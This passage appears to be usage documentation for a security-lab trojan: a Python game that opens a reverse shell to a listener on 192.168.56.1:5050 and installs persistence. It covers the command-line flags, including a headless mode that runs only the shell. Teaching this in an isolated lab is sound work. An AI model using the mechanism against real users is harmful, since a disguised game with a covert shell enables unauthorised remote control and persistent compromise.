# Run in a windowpython game/main_game.py --windowed# Point at a different listener hostpython game/main_game.py --host 192.168.56.1# Headless shell only (no game UI)python game/main_game.py --bg --host 192.168.56.1
Note the IP on the interface shared with the game VM (typically a host-only adapter).
2
Pass the IP to the game
python game/main_game.py --host 192.168.56.1
The game connects to 192.168.56.1:5050.
The port 5050 cannot be changed via a CLI flag — it is hardcoded in ReverseShell.__init__. To use a different port you would need to edit the source directly and update tools/listener.py to match.
Passing --bg skips all pygame initialization and launches only the reverse shell component. The game connects to the listener and provides a fully functional shell, but no game window appears. This is useful for:
Demonstrating the shell mechanism without running the full game.
Automated lab exercises where the UI is not needed.
Background mode still establishes a real reverse shell and installs persistence. All the same safety precautions apply. See Lab Environment.